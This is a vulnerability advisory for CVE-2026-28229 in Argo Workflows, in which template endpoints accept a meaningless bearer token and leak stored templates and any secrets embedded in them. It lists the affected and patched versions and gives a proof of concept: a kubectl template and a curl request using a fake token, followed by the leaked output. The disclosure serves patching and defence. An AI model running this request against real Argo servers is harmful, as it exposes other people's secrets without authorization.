---
id: CVE-2026-28229
aliases:
  - GHSA-56px-hm34-xqj5
  - BIT-argo-workflows-2026-28229
  - GO-2026-4678
title: Unauthorized access to Argo Workflows Template
summary: Unauthorized access to Argo Workflows Template
severity: high
cvss: 7.5
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N'
vendor: argoproj
product: github.com/argoproj/argo-workflows/v3
ecosystem: go
affected:
  - 'github.com/argoproj/argo-workflows/v3 >= 3.7.0, < 3.7.11'
  - github.com/argoproj/argo-workflows/v4 < 4.0.2
patched:
  - github.com/argoproj/argo-workflows/v3 3.7.11
  - github.com/argoproj/argo-workflows/v4 4.0.2
published: '2026-03-11'
updated: '2026-09-10'
sourceUpdated: '2026-09-10T03:50:37.396004190Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-56px-hm34-xqj5'
references:
  - url: >-
      https://github.com/argoproj/argo-workflows/security/advisories/GHSA-56px-hm34-xqj5
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-28229'
  - url: >-
      https://github.com/argoproj/argo-workflows/commit/34afaf9c0c36f1ba8645d483ea4752cfc4a391e8
  - url: 'https://github.com/argoproj/argo-workflows'
  - url: 'https://github.com/argoproj/argo-workflows/releases/tag/v3.7.11'
  - url: 'https://github.com/argoproj/argo-workflows/releases/tag/v4.0.2'
tags:
  - osv
  - go
epss: 0.00652
epssPercentile: 0.49836
ingestedAt: '2026-09-12T03:13:01.755Z'
---

## Overview

### Summary
Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a `Authorization: Bearer nothing` token can leak sensitive template content, including embedded Secret manifests.

### Details

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/workflow_template_server.go#L60-L78

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/cluster_workflow_template_server.go#L54-L72

Informers use the server’s rest config, so they read using server SA privileges. 

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/informer.go#L29-L42

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/informer.go#L34-L46

### PoC
1. Create template

```yml
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
  name: leak-workflow-template
  namespace: argo
spec:
  templates:
  - name: make-secret
    resource:
      action: create
      manifest: |
        apiVersion: v1
        kind: Secret
        metadata:
          name: leaked-secret
        type: Opaque
        data:
          password: c3VwZXJzZWNyZXQ=
```

Then apply that with `kubectl apply -f poc.yml`
2. Query Argo Server with a fake token

**Result:**

```cmd
> kubectl apply -f poc.yml
workflowtemplate.argoproj.io/leak-workflow-template created
> curl -sk -H "Authorization: Bearer nothing" \
    "https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template"
{"metadata":{"name":"leak-workflow-template","namespace":"argo","uid":"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c","resourceVersion":"867394","generation":1,"creationTimestamp":"REDACTED","annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"WorkflowTemplate\",\"metadata\":{\"annotations\":{},\"name\":\"leak-workflow-template\",\"namespace\":\"argo\"},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n  name: leaked-secret\\ntype: Opaque\\ndata:\\n  password: c3VwZXJzZWNyZXQ=\\n\"}}]}}\n"},"managedFields":[{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"argoproj.io/v1alpha1","time":"REDACTED","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}}},"f:spec":{".":{},"f:templates":{}}}}]},"spec":{"templates":[{"name":"make-secret","inputs":{},"outputs":{},"metadata":{},"resource":{"action":"create","manifest":"apiVersion: v1\nkind: Secret\nmetadata:\n  name: leaked-secret\ntype: Opaque\ndata:\n  password: c3VwZXJzZWNyZXQ=\n"}}],"arguments":{}}}
```

### Impact
Any client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.

## Affected packages

- `github.com/argoproj/argo-workflows/v3 >= 3.7.0, < 3.7.11`
- `github.com/argoproj/argo-workflows/v4 < 4.0.2`

## Remediation

Upgrade to a patched release:

- `github.com/argoproj/argo-workflows/v3 3.7.11`
- `github.com/argoproj/argo-workflows/v4 4.0.2`
